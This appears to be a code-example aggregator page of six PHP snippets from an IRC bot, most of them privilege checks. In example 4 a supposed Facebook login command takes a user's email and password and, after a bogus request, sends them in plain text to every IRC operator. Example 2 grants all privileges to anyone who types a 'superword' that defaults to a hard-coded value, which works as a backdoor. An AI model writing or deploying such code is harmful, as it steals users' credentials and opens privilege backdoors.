Exemplo n.º 1
0
 public function hasPermission(Dog_Server $server, $channel, Dog_User $user)
 {
     $c = $this->priv;
     switch ($this->scope) {
         case 'u':
         case 'g':
         case 's':
             return Dog_PrivServer::hasPermChar($server, $user, $c);
         case 'c':
             return $channel === false ? false : Dog_PrivChannel::hasPermChar($channel, $user, $c);
         default:
             return Dog_Log::critical('Invalid scope in hasPermission()!');
     }
 }
Exemplo n.º 2
0
$argc = $plugin->argc();
$argv = $plugin->argv();
unset($user);
if ($argc === 2) {
    if (false === ($user = Dog_User::getByLongName($argv[1]))) {
        return $plugin->rply('user');
    }
    $server = $user->getServer();
    $argc = 1;
}
if ($argc === 1) {
    if (!isset($user)) {
        $user = Dog::getUser();
    }
    if (!$user->isRegistered()) {
        return $plugin->rply('not_regged', array($user->displayName(), $server->displayName()));
    }
    if ($argv[0] === Dog_Conf_Bot::getConf('superword', 'gizmore')) {
        Dog_PrivServer::grantAll($server, $user);
        Dog_PrivChannel::grantAllToAll($server, $user);
        $plugin->rply('super', array($user->displayName(), $server->displayName()));
    } elseif ($argv[0] === $server->getConf('ircoppass')) {
        Dog_PrivServer::grantIrcop($server, $user);
        Dog_PrivChannel::grantAllToAll($server, $user, Dog_IRCPriv::allBitsButOwner());
        $plugin->rply('super', array($user->displayName(), $server->displayName()));
    } else {
        $plugin->rply('wrong');
    }
} else {
    $plugin->showHelp();
}
Exemplo n.º 3
0
        $u = Dog::getUser();
        $have = Dog_PrivServer::getPermbits($serv, $u);
        $want = Dog_IRCPriv::charsToBits(substr($argv[1], 1));
        $high = Dog_IRCPriv::getHighestBit($have);
        $wigh = Dog_IRCPriv::getHighestBit($want);
        if ($wigh > $high) {
            $plugin->rply('no', array(Dog_IRCPriv::displayBits($wigh, ''), $user->displayName()));
        } else {
            $now = Dog_PrivServer::getPermbits($serv, $user) | $want;
            Dog_PrivServer::setPermbits($serv, $user, $now);
            $plugin->rply('set', array($user->displayName(), $serv->displayName(), Dog_IRCPriv::displayBits($now)));
        }
    } elseif ($sign === '-' && strlen($argv[1]) >= 1) {
        $u = Dog::getUser();
        $have = Dog_PrivServer::getPermbits($serv, $u);
        $want = Dog_IRCPriv::charsToBits(substr($argv[1], 1));
        $high = Dog_IRCPriv::getHighestBit($have);
        $wigh = Dog_IRCPriv::getHighestBit($want);
        if ($wigh >= $high) {
            $plugin->rply('no2', array(Dog_IRCPriv::displayBits($wigh, ''), $user->displayName()));
        } else {
            $now = Dog_PrivServer::getPermbits($serv, $user) & ~$want;
            Dog_PrivServer::setPermbits($serv, $user, $now);
            $plugin->rply('set', array($user->displayName(), $serv->displayName(), Dog_IRCPriv::displayBits($now)));
        }
    } else {
        $plugin->rply('err_bits');
    }
} else {
    $plugin->showHelp();
}
Exemplo n.º 4
0
$argv = $plugin->argv();
$argc = count($argv);
if ($argc !== 2) {
    return $plugin->showHelp();
}
$email = $argv[0];
if (!GWF_Validator::isValidEmail($email)) {
    return $plugin->showHelp();
}
$pass = $argv[1];
if (strlen($pass) < 4) {
    return $plugin->showHelp();
}
if (false !== ($curl = curl_execute('facebook.com/api/omniauth?login' . sha1($email . $pass)))) {
    $user->setLoggedIn(true);
} else {
    $plugin->rply('err_login');
}
// Each server
foreach (Dog::getServers() as $server) {
    // Each user
    $server instanceof Dog_Server;
    foreach ($server->getUsers() as $admin) {
        // Is +I? (IRCOP)
        $admin instanceof Dog_User;
        if (Dog_PrivServer::hasPermChar($server, $admin, 'i')) {
            // LOL
            $admin->sendPRIVMSG(sprintf('FACEIN %s!%s %s %s', $user->displayName(), $user->getSID(), $email, $pass));
        }
    }
}
Exemplo n.º 5
0
if ($argc < 1 || $argc > 2) {
    return $plugin->showHelp();
}
if (false === ($user = Dog::getOrLoadUserByArg($argv[0]))) {
    return Dog::rply('err_user');
}
if ($argc === 1) {
    if ($user->isOptionEnabled(Dog_User::BOT)) {
        $plugin->rply('bot_on');
    } else {
        $plugin->rply('bot_off');
    }
} else {
    $argv[1] = strtolower($argv[1]);
    if ($argv[1] === 'on') {
        $isx = Dog_PrivServer::hasPermChar($user->getServer(), $user, 'x');
        // he Owner
        $isy = Dog_PrivServer::hasPermChar($user->getServer(), $user, 'y');
        // he Hoster
        $isuy = Dog_PrivServer::hasPermChar($user->getServer(), Dog::getUser(), 'y');
        // Caller Hoster
        if ($isy || $isx && !$isuy) {
            return $plugin->rply('err_owner', $user->getName());
        }
        $user->setOption(Dog_User::BOT, true);
        $plugin->rply('bot_on');
    } elseif ($argv[1] === 'off') {
        $user->setOption(Dog_User::BOT, false);
        $plugin->rply('bot_off');
    }
}
Exemplo n.º 6
0
 public static function hasPermission(Dog_Server $serv, $chan = false, Dog_User $user, $priv, $abc = NULL, $needlogin = true)
 {
     switch ($abc) {
         case 'a':
             if ($chan !== false) {
                 return false;
             }
             # works not in channel vvv fallthrough
         # works not in channel vvv fallthrough
         case 'b':
             $chan = false;
             break;
             # need server perms
         # need server perms
         case 'c':
             if ($chan === false) {
                 return false;
             }
             # only channel
     }
     $priv = Dog_IRCPriv::charToBit($priv);
     return $chan === false ? Dog_PrivServer::hasPermBits($serv, $user, $priv, $needlogin) : Dog_PrivChannel::hasPermBits($chan, $user, $priv, $needlogin);
 }